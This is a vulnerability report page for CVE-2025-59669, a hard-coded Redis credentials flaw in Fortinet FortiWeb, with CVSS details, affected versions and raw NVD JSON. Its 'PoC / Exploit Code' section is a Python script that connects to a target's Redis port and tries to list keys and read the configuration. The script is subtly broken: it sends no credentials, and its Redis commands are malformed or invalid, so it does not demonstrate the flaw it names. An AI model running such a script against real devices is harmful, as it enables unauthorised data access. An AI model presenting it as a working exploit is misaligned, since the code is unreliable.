Security Vulnerability Report
中文
CVE-2025-59669 CVSS 5.3 MEDIUM

CVE-2025-59669

Published: 2025-11-18 17:16:07
Last Modified: 2025-11-20 14:36:54

Description

A use of hard-coded credentials vulnerability in Fortinet FortiWeb 7.6.0, FortiWeb 7.4 all versions, FortiWeb 7.2 all versions, FortiWeb 7.0 all versions may allow an authenticated attacker with shell access to the device to connect to redis service and access its data

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:* - VULNERABLE
FortiWeb 7.6.0
FortiWeb 7.4 (所有版本)
FortiWeb 7.2 (所有版本)
FortiWeb 7.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59669 PoC - FortiWeb Redis Hard-coded Credentials # Note: This PoC is for educational and authorized testing purposes only # The actual hard-coded credentials should be obtained from the firmware/exploit import socket import sys def exploit_redis(target_ip, redis_port=6379): """ Attempt to connect to Redis service using potential hard-coded credentials This PoC demonstrates the vulnerability concept """ try: # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, redis_port)) # Send PING command to check if Redis is accessible sock.send(b"*1\r\n$4\r\nPING\r\n") response = sock.recv(1024) if b"PONG" in response: print("[+] Redis service is accessible") # Try to enumerate keys (demonstration purposes) sock.send(b"*2\r\n$6\r\nKEYS *\r\n") keys_response = sock.recv(4096) print(f"[+] Available keys: {keys_response}") # Try to get config information sock.send(b"*2\r\n$6\r\nCONFIG *\r\n") config_response = sock.recv(4096) print(f"[+] Config info: {config_response}") else: print("[-] Redis service not responding as expected") except socket.timeout: print("[-] Connection timeout") except socket.error as e: print(f"[-] Socket error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-59669.py <target_ip>") sys.exit(1) target = sys.argv[1] exploit_redis(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59669", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:16:07.390", "lastModified": "2025-11-20T14:36:53.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use of hard-coded credentials vulnerability in Fortinet FortiWeb 7.6.0, FortiWeb 7.4 all versions, FortiWeb 7.2 all versions, FortiWeb 7.0 all versions may allow an authenticated attacker with shell access to the device to connect to redis service and access its data"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.6.1", "matchCriteriaId": "0761B0F5-A978-4C08-A19B-6A27709EB1D2"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-843", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}